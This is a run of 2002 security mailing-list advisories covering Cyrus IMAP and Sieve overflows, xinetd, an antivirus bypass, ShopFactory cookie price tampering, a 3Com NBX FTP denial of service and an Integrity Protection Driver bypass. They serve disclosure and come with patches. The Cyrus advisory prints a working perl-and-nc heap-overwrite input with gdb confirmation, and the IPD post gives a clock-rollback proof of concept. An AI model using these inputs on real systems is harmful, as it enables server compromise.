course other ways to exploit it than just malloc headers.

(BTW. Why is it that glibc's malloc implementation is almost begging to be
exploited? I don't think it would be that difficult to create safer
implementation with internal structures in separate memory pages, possibly
even separated with non-writable page(s) between. Could even be faster
because of better CPU cache utilization, and maybe made to take less
memory.)

There's several other malloc/integer related problems where it's possible
to read over 2GB strings from clients into memory accessing it with signed
integers, finally wrapping into -2^31. That's probably not too bad since it
can work only with >2GB process limits (only 64bit architectures I'd think)
and even then it would quite likely access only unmapped memory.

Authors were first contacted 30. October, I think it's way past the fix
time.

semi-exploit


perl -e 'print "x login 
{4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc 
localhost imap2


The first 4 bytes specify the address where you want to write to in memory
and the next 4 bytes is the data to be written there (must be a readable
memory address). Rest of the bytes are overwriting prev_size and size in
malloc header. The above values work with cyrus21 package in Debian
unstable/x86. gdb verifies that the call was successful:

Program received signal SIGSEGV, Segmentation fault.
0xbfffef90 in ?? ()
(gdb) bt
#0  0xbfffef90 in ?? ()
#1  0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
#2  0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
#3  0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2

Shouldn't be too hard to come up with a real exploit from there on.

You also need to make one "x logout\n" connection first to trigger the
exploit (Cyrus reuses the processes).

fix
---

Apply the included patch and set some reasonable ulimits to make sure the
other integer overflows won't hit you in future.

diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c cyrus-imapd-2.1.10/imap/imapparse.c
--- cyrus-imapd-2.1.10-old/imap/imapparse.c 2002-06-24 21:58:41.0 +0300
+++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.0 +0200
@@ -97,7 +97,7 @@
   struct buf *buf, int type)
 {
 int c;
-int i;
+unsigned int i;
 unsigned int len = 0;
 int sawdigit = 0;
 int isnowait;
@@ -228,6 +228,16 @@
if (c != EOF) prot_ungetc(c, pin);
return EOF;
}
+   if (len > 65536) {
+   if (isnowait) {
+   for (i = 0; i < len; i++)
+   c = prot_getc(pin);
+   }
+   prot_printf(pout, "* BAD Literal too large\r\n");
+   prot_flush(pout);
+   if (c != EOF) prot_ungetc(c, pin);
+   return EOF;
+   }
if (len >= buf->alloc) {
buf->alloc = len+1;
buf->s = xrealloc(buf->s, buf->alloc+1);

[RHSA-2002:196-19] Updated xinetd packages fix denial of service vulnerability

[bugzilla]

-
   Red Hat, Inc. Red Hat Security Advisory

Synopsis:  Updated xinetd packages fix denial of service vulnerability
Advisory ID:   RHSA-2002:196-19
Issue date:2002-09-06
Updated on:2002-12-02
Product:   Red Hat Linux
Keywords:  xinetd file descriptor leak flaw:dos-release
Cross references:  
Obsoletes: 
CVE Names: CAN-2002-0871
-

1. Topic:

Xinetd contains a denial-of-service (DoS) vulnerability.

UPDATE 2002-12-02: Updated packages are available to fix issues encountered
with the previous errata packages.

2. Relevant releases/architectures:

Red Hat Linux 7.0 - i386, alpha
Red Hat Linux 7.1 - i386, alpha, ia64
Red Hat Linux 7.2 - i386, ia64
Red Hat Linux 7.3 - i386
Red Hat Linux 8.0 - i386

3. Problem description:

Xinetd is a secure replacement for inetd, the Internet services daemon.

Versions of Xinetd prior to 2.3.7 leak file descriptors for the signal
pipe to services that are launched by xinetd. This could allow an attacker
to execute a DoS attack via the pipe. The Common Vulnerabilities and
Exposures project has assigned the name CAN-2002-0871 to this issue.

Red Hat Linux 7.3 shipped with xinetd version 2.3.4 and is therefore
vulnerable to this issue.  All users are advised to upgrade to the errata
packages which fix the vulnerability.

Thanks to Solar Designer for discovering this issue.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which are
not installed but included in the list will not be updated.  Note that you
can also use wildcards (*.rpm) if your current directory *only* contains the
desired RPMs.

Please note that this update is also available via Red Hat Network.  Many
people find this an easier way to apply updates.  To use Red Hat Network,
launch the Red Hat Update Agent with the following command:

up2date

This will start an interactive process that will result in the appropriate
RPMs being upgraded on your system.

5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info):

74696 - Broken tcp_wrappers support
76146 - xinetd 2.3.9 causes hanging CLOSE_WAIT connections
77781 - xinetd stop serving the services because "Too many open files"

6. RPMs required:

Red Hat Linux 7.0:

SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm

alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/xinetd-2.3.7-4.7x.alpha.rpm

i386:
ftp://updates.redhat.com/7.0/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm

Red Hat Linux 7.1:

SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm

alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/xinetd-2.3.7-4.7x.alpha.rpm

i386:
ftp://updates.redhat.com/7.1/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm

ia64:
ftp://updates.redhat.com/7.1/en/os/ia64/xinetd-2.3.7-4.7x.ia64.rpm

Red Hat Linux 7.2:

SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm

i386:
ftp://updates.redhat.com/7.2/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm

ia64:
ftp://updates.redhat.com/7.2/en/os/ia64/xinetd-2.3.7-4.7x.ia64.rpm

Red Hat Linux 7.3:

SRPMS:
ftp://updates.redhat.com/7.3/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm

i386:
ftp://updates.redhat.com/7.3/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm

Red Hat Linux 8.0:

SRPMS:
ftp://updates.redhat.com/8.0/en/os/SRPMS/xinetd-2.3.7-5.src.rpm

i386:
ftp://updates.redhat.com/8.0/en/os/i386/xinetd-2.3.7-5.i386.rpm



7. Verification:

MD5 sum  Package Name
--
38b5f218a384a7ba7cdc0168e2d5f892 7.0/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm
ee9c54046762e1b3aa53d66da927f9ce 7.0/en/os/alpha/xinetd-2.3.7-4.7x.alpha.rpm
b4d37fb0fda2fa6606befda4cbd7d458 7.0/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm
38b5f218a384a7ba7cdc0168e2d5f892 7.1/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm
ee9c54046762e1b3aa53d66da927f9ce 7.1/en/os/alpha/xinetd-2.3.7-4.7x.alpha.rpm
b4d37fb0fda2fa6606befda4cbd7d458 7.1/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm
569ae16839959297a167bf29e1fb5293 7.1/en/os/ia64/xinetd-2.3.7-4.7x.ia64.rpm
38b5f218a384a7ba7cdc0168e2d5f892 7.2/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm
b4d37fb0fda2fa6606befda4cbd7d458 7.2/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm
569ae16839959297a167bf29e1fb5293 7.2/en/os/ia64/xinetd-2.3.7-4.7x.ia64.rpm
38b5f218a384a7ba7cdc0168e2d5f892 7.3/en/os/SRPMS/xinetd-2.3.7-4.7x.src.rpm
b4d37fb0fda2fa6606befda4cbd7d458 7.3/en/os/i386/xinetd-2.3.7-4.7x.i386.rpm
07c7f1cedf7b9a20bad65815765d4ff2 8.0/en/os/SRPMS/xinetd-2.3.7-5.src.rpm
26e6f6faec33503f3538a4ac80c82ce2 8.0/en/os/i386/xinetd-2.3.7-5.i386.rpm


These packages are GPG

possible virus break in german exchange option of Inoculate IT 6.0

[tigerblue]

Hi there,

there is a possible virus break through in Computer Associates E-Trust
Inoculate IT 6.0  Exchange Option German on M$ Exchange 2000 German.

The CA´s E-Trust Inoculate IT 6.0 Exchange-Option is a antivirus product
which can be used to scan incoming email-traffic and background scan of
the exchange database.

Sometimes a special formed "W32/Yaha-E" virus can break through the
incoming mail-scanner. The virus won´t be recognized by the "background"
scan-option.

The vendor was informed on the 28 of oktober. A fix is available in
service pack 1 for the english version. Computer Associates is still
working on an german service pack / fix for that problem.

Please contact CA to get further information to fix this issue.

best regards

tigerblue

systemadministrator

ShopFactory shopping cart price manipulation

[Richard van den Berg]

Trust Factory Security Advisory TF20021004

Discovery Date:   October  4, 2002
Release Date: December 2, 2002
ID:   TF20021004
Title:ShopFactory shopping cart price manipulation
Impact:   Customers can modify the price of items at will
Affected Technology:  Online shopping carts created with ShopFactory
Vendor Status:Vendor was notified on October 7, 2002
   Vendor promised partial fix, and suggested work
   around
Discovered By:Richard van den Berg <[EMAIL PROTECTED]>
Advisory URL: http://www.trust-factory.com/TF20021004.html

Background:
===
ShopFactory is an online shop management package by 3D3.COM Pty Ltd
based in Australia. A quote from the www.shopfactory.com homepage:

With more than 100,000 shops worldwide built with our secure shopping
cart software, ShopFactory is one of the world's most popular and
powerful e-commerce solutions.

Description:

The contents of shopping carts used by shops created with ShopFactory
software can be modified at will by customers. One interesting
vulnerablility is the ability to maliciously modify prices of items
in the shopping carts. Tests show that the modifications are maintained
throughout the billing process.

Technical details:
==
Shopping carts created with ShopFactory software optionally store all
contents of the cart in a cookie at the browser. This includes product
IDs, descriptions and prices. Upon revisiting the store, this cookie is
used to fill the cart for the new session. At checkout the contents of
this new cart is used to enter the order into the shop's delivery and
billing system.
If the shop owner has set "Remember Shopping cart for (days)" to 0,
cookies are not created by the shop. Prior to version 5.8 cookies
are being read even when the shop does not create them. If a malicious
user manually creates a cookie with incorrect pricing, it would still
be used to fill the cart for a new shopping session.

Vendor response:

After being made aware of the problem, 3D3.COM chose to fix the reading
in of cookies when the shop does not create them. We have not been given
the oppertunity to verify this fix. Regardless, the price manipulation
vulnerability will still exist when "Remember Shopping cart for (days)"
is set larger than 0.
3D3.COM states that they have not heard of any merchant experiencing
fraud caused by this problem. 3D3.COM has informed its customers of this
issue.

Conclusion:
===
ShopFactory violates the "don't trust user input" rule of application
programming, resulting in potential loss of profit for shops using
this software. See also Don't #2 of "Twenty Don'ts for ASP Developers"
at http://online.securityfocus.com/infocus/1603

Possible work around:
=
Upgrade to at least version 5.8 of the ShopFactory software and set
"Remember Shopping cart for (days)" to 0.

--
Richard van den Berg, CISSP

Trust Factory B.V.  | http://www.trust-factory.com/
Bazarstraat 44a | Phone: +31 70 3620684
NL-2518AK The Hague | Fax  : +31 70 3603009
The Netherlands |

Cyrus Sieve / libSieve buffer overflow

[Timo Sirainen]

problem
---

Cyrus' Sieve implementation contains a couple of classic string based
buffer overflows in script parsing code. Anyone who can execute Sieve
scripts can exploit these bugs. Versions up to libSieve 2.1.2 and Cyrus
IMAP 2.1.10 are affected.

Note that with Cyrus IMAP server exploiting this gives you the privileges
of Cyrus user, capable of reading all users mails.

Problem comes when giving the script a >100 chars long corrupted header
name, >100 chars long IMAP flag or a script that contains lots of errors
to overflow the 500 char limit in error message.

fix
---

Apply the included patch. Note that this changes only the yacc files, you
still need to generate .c files from them. libSieve 2.1.3 will hopefully
also contain some more hardening against potential buffer overflows.

diff -ru cyrus-imapd-2.1.10-old/sieve/addr.y cyrus-imapd-2.1.10/sieve/addr.y
--- cyrus-imapd-2.1.10-old/sieve/addr.y 2002-10-28 18:30:18.0 +0200
+++ cyrus-imapd-2.1.10/sieve/addr.y 2002-12-02 04:52:58.0 +0200
@@ -82,8 +82,9 @@
 /* copy address error message into buffer provided by sieve parser */
 int yyerror(char *s)
 {
-extern char addrerr[];
+extern char addrerr[512];
 
-strcpy(addrerr, s);
+strncpy(addrerr, s, sizeof(addrerr)-1);
+addrerr[sizeof(addrerr)-1] = '\0';
 return 0;
 }
diff -ru cyrus-imapd-2.1.10-old/sieve/sieve.y cyrus-imapd-2.1.10/sieve/sieve.y
--- cyrus-imapd-2.1.10-old/sieve/sieve.y2002-05-14 19:51:50.0 +0300
+++ cyrus-imapd-2.1.10/sieve/sieve.y2002-12-02 03:57:17.0 +0200
@@ -810,7 +810,7 @@
 addrptr = s;
 addrerr[0] = '\0'; /* paranoia */
 if (addrparse()) {
-   sprintf(errbuf, "address '%s': %s", s, addrerr);
+   snprintf(errbuf, sizeof(errbuf), "address '%s': %s", s, addrerr);
yyerror(errbuf);
return 0;
 }
@@ -835,7 +835,7 @@
   ;  controls, SP, and
   ;  ":". */
if (!((*h >= 33 && *h <= 57) || (*h >= 59 && *h <= 126))) {
-   sprintf(errbuf, "header '%s': not a valid header", hdr);
+   snprintf(errbuf, sizeof(errbuf), "header '%s': not a valid header", hdr);
yyerror(errbuf);
return 0;
}
@@ -853,14 +853,14 @@
if (strcmp(f, "\\seen") && strcmp(f, "\\answered") &&
strcmp(f, "\\flagged") && strcmp(f, "\\draft") &&
strcmp(f, "\\deleted")) {
-   sprintf(errbuf, "flag '%s': not a system flag", f);
+   snprintf(errbuf, sizeof(errbuf), "flag '%s': not a system flag", f);
yyerror(errbuf);
return 0;
}
return 1;
 }
 if (!imparse_isatom(f)) {
-   sprintf(errbuf, "flag '%s': not a valid keyword", f);
+   snprintf(errbuf, sizeof(errbuf), "flag '%s': not a valid keyword", f);
yyerror(errbuf);
return 0;
 }

[VU#317417] Denial of Service condition in vxworks ftpd/3com nbx

[Michael S. Scheidell]

Information:
Name:  3com NBX IP phone system Denial of Service Attack
Systems: 3com NBX IP Phone Call manager, FW Versions  through 4_1_4
Severity:  Critical
Category: Denial of Service
Classification: Boundary Condition Error
Vendor URL:   http://www.3com.com
Author:   Michael S. Scheidell ([EMAIL PROTECTED])
Date:   December 2nd, 2002
Notifications: (3com, WindRiver and CERT) Notified October 31st, 2002
Contact with 3com October 31st, November 1st, 5th, 6th, 15th and November 22nd
Contact with WindRiver: October 31st, November  6th, 22nd, and 24th. No response from 
WindRiver.

Discussion: (From 3com's and WindRiver's web site)

3Com® SuperStack® 3 NBX® and 3Com NBX 100 networked telephony solutions offer 
wide-ranging price/performance alternatives to fit your business needs today and 
tomorrow. 3Com® SuperStack® 3 NBX® Networked Telephony Solution Delivers robust, 
full-featured business communications for up to 1500 devices (lines/stations) Ensures 
high system availability with the Wind River VxWorks real-time operating system (also 
used in pacemakers and artificial hearts), so server and PC downtime does not impact 
your telephone service.

VxWorks and pSOSystem are the most widely adopted real-time operating systems (RTOSs) 
in the embedded industry -- for good reason. They are flexible, scalable, reliable, 
and available on all popular CPU platforms. They are also, by most measures, the 
fastest RTOSs available today. 

Exploit:

It was possible to make the remote FTP server crash by issuing this command :
CEL [...] where string is 2048 bytes long.  This can be done with 
netcat,
a windows client by telnetting to the nbx server on port 21 or by running the 
aix_ftpd.nasl test
in nessus (www.nessus.org)

The 3com NBX uses VXWORKS Embedded Real time Operating system and what appears to be 
their own internal ftp server. This buffer overflow problem seems to be one similar to 
the AIX ftpd reported in CVE 1999-0789 and bugtraq id 679.

By sending a specific string of data to the ftp server, an attacker can disable not 
only the ftp server, but the integrated web based administrative console and the call 
manager preventing diagnostics, control and all incoming, outgoing or internal calls.  
Any calls in progress cannot be disconnected, and in the case of long distance calls, 
could result in excessive long distance bills and extended loss of use of the phone 
system.

This condition is not recovered without a Hard reboot (power off/on).  Since the 3com 
nbx is based on an embedded *nix operating system, and abrupt power off could cause 
loss of data, including corruption of voice mails in progress or logs.

A company who uses the VoIP features for remote locations, and who has the call 
manager located on the outside of their firewall, or has no firewall can have their 
voice communications disrupted easily.  Even if the company has call manager located 
on internal network, people with internal network access can also disrupt 
communications.

We have tested 3com nbx firmware version 4_0_17 (with ftpd version 5.4) and nbx 
firmware version 4_1_4 (ftpd version 5.4.2) and this bug seems to be present in both 
systems.

Vendor Response:
3com confirmed problem and received a field patch, TSR(296292) from vxworks to address 
the problem.  Neither WindRiver nor 3com has provided a test bed or access to a fixed 
system for us verify fix.  3com will be working to integrate this TSR into a future 
release of the nbx build but has no date yet for release. Also, since ftpd is only 
used for debugging and diagnostics, a future firmware will allow the administrator the 
ability to turn off ftpd if not used.

Please contact 3com for further information.

Solution:
There is no known fix.  If you have information about a fix, please contact 
[EMAIL PROTECTED]

There appears to be on way to turn off the build in ftp server in this version of the 
software, no way to do ip address limits via tcp wrapper or acls, and if there is a 
build in firewall, there is no documented way to access it.  The only way we know of 
to prevent a denial of service attack on the 3com nbx is to place it behind its own 
firewall.  If call manager is placed on the Internet side of the firewall or in the 
DMZ, care should be taken to prohibit any access to ftp port (tcp port 21) This may be 
impossible on an internal network unless 3com nbx is itself placed behind a firewall, 
or on a separate VLAN or network segment.

Care should be taken in this approach, since some firewalls may interfere with the 
VoIP operations.
(see Firewall limits vex VoIP users 
http://www.nwfusion.com/news/2002/0625bleeding.html )

Credit:
This problem was originally found during a routine security audit by Michael 
Scheidell, SECNAP Network Security, www.secnap.net using the Nessus vulnerabilities 
scanner, www.nessus.org.

Additional Information:
A tcpdump/pcap packet of the sploit and ftpd/nbx response can be found at
http://www

Bypassing Integrity Protection Driver (time vulnerability)

[Jan Rutkowski]

Bypassing Pedestal Software Integrity Protection Driver
 (time vulnerability)

   Jan K. Rutkowski
  [EMAIL PROTECTED]

What is IPD?

Taken from the IPD's readme:

"The IPD is an Open Source device driver designed to prohibit the
 installation of new services and drivers and to protect existing
 drivers from tampering. It installs on Windows NT and Windows 2000
 computers.
 [...]
 This driver was created to provide protection against rootkit
 installation by attempting to block any new kernel code from being
 installed and executed. This will help to prevent tojan hiding from
 integrity checking programs such as Intact.  "

To to give administrator possibility to uninstall IPD, the driver
starts protecting the system 20 minutes after being loaded.  This is
acceptable, because we can assume that right after reboot server can
be disconnected from the Internet.

The Bug

In order to provide 20 minutes delay on startup, restrictEnabled()
function is used. It is called from other functions to check, whether
they should be restrictive about various actions (like loading
drivers) or not:

int restrictEnabled() {
  LARGE_INTEGER curtime, diff;
  KeQuerySystemTime(&curtime);
  diff = RtlLargeIntegerSubtract(curtime, Globals.DRIVERSTARTTIME);

  if (RtlLargeIntegerGreaterThan(diff,
 Globals.RESTRICT_STARTUP_TIMEOUT))
return 1;
  return 0;
}

One can easy circumvent IPD's protection by turning system clock back.
(Yes, one must own SeSystemtimePrivilage, but that is not a problem
when the attacker has gained privileged access to the system).


Proof-Of-Concept

00:00 [real admin starts IPD on his server]
 c:\ipd>ipdinstall.exe start
 [...]
 The driver will engage in 20 minutes.
 c:\ipd>

00:21 [IPD starts protecting the system from inserting drivers]
 ...
13:13 [a bad hacker comes in to the system]
 c:\alamakota> time
 [now he turns the clock 14 hours back]
 c:\alamakota> w2k_load verybaddrv.sys
 c:\alamakota> time
 [he restores the original time]
 [system is compromised]

This was tested against IPD 1.2.

Patch

I have contacted Pedestal Software, and they released (on Monday 2/12/2002)
a new version (1.3), which fixes this vulnerability. This can be
downloaded form IPD home page (see References below).

Postscriptum

Another IPD vulnerability, was described by crazylord in the last
issue of phrack. He showed how to cheat IPD so that it allows writing
to /Device/Physicalmemory (by creating a symlink).

This vulnerability has also been fixed in the new version 1.3.

References

* IPD homepage:
http://pedestalsoftware.com/intact/ipd/

--
jan